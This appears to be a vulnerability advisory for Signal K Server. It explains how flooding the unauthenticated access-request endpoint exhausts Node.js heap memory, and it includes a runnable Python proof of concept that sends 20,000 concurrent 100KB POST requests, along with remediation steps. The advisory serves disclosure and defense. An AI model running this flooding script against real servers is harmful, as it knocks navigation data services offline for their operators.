Signal K Server Vulnerable to Denial of Service via Unrestricted Access Request Flooding

Summary

A Denial of Service (DoS) vulnerability allows an unauthenticated attacker to crash the SignalK Server by flooding the access request endpoint (/signalk/v1/access/requests). This causes a "JavaScript heap out of memory" error due to unbounded in-memory storage of request objects.

Details

The vulnerability is caused by a lack of rate limiting and improper memory management for incoming access requests.

Vulnerable Code Analysis:

1. In-Memory Storage: In src/requestResponse.js, requests are stored in a simple JavaScript object:
   js

   const requests = {}

2. Unbounded Growth: The createRequest function adds new requests to this object without checking the current size or count of existing requests.
3. Infrequent Pruning: The pruneRequests function, which removes old requests, runs only once every 15 minutes (pruneIntervalRate).
4. No Rate Limiting: The endpoint /signalk/v1/access/requests accepts POST requests from any client without any rate limiting or authentication (by design, as it's for initial access requests).

Exploit Scenario:

1. An attacker sends a large number of POST requests (e.g., 20,000+) or requests with large payloads to /signalk/v1/access/requests.
2. The server stores every request in the requests object in the Node.js heap.
3. The heap memory usage spikes rapidly.
4. The Node.js process hits its memory limit (default ~1.5GB) and crashes with FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory.

PoC

The following Python script reproduces the crash by flooding the server with requests containing 100KB payloads.

import urllib.request
import json
import threading
import time

# Target Configuration
TARGET_URL = "http://localhost:3000/signalk/v1/access/requests"
PAYLOAD_SIZE_MB = 0.1  # 100 KB per request
NUM_REQUESTS = 20000   # Sufficient to exhaust heap
CONCURRENCY = 50

# Generate a large string payload
LARGE_STRING = "A" * (int(PAYLOAD_SIZE_MB * 1024 * 1024))

def send_heavy_request(i):
    try:
        payload = {
            "clientId": f"attacker-device-{i}",
            "description": LARGE_STRING, # Stored in memory!
            "permissions": "readwrite"
        }
        data = json.dumps(payload).encode('utf-8')
        
        req = urllib.request.Request(
            TARGET_URL, 
            data=data, 
            headers={'Content-Type': 'application/json'}, 
            method='POST'
        )
        # Short timeout as server might hang
        urllib.request.urlopen(req, timeout=5)
    except:
        pass

def attack():
    print(f"[*] Starting DoS Attack on {TARGET_URL}...")
    threads = []
    for i in range(NUM_REQUESTS):
        t = threading.Thread(target=send_heavy_request, args=(i,))
        threads.append(t)
        t.start()
        
        if len(threads) >= CONCURRENCY:
            for t in threads: t.join()
            threads = []

if __name__ == "__main__":
    attack()

Expected Result: Monitor the server process. Memory usage will increase rapidly, and the server will eventually terminate with an Out of Memory (OOM) error.

Impact

Verified Denial of Service: During our verification using the provided PoC, we observed the following:

1. Rapid Memory Exhaustion: The Node.js process memory usage increased by approximately 30MB within seconds of starting the attack.
2. Service Instability: Continued execution of the PoC quickly leads to a FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory crash.
3. Service Unavailability: The server becomes completely unresponsive and terminates, requiring a manual restart to recover. This allows an unauthenticated attacker to easily take the vessel's navigation data server offline.

Remediation

1. Implement Rate Limiting Use a middleware like express-rate-limit to restrict the number of requests from a single IP address to /signalk/v1/access/requests.

2. Limit Request Storage Modify src/requestResponse.js to enforce a maximum number of stored requests (e.g., 100). If the limit is reached, reject new requests or evict the oldest ones immediately.

3. Validate Payload Size Enforce strict limits on the size of the description and other fields in the access request payload.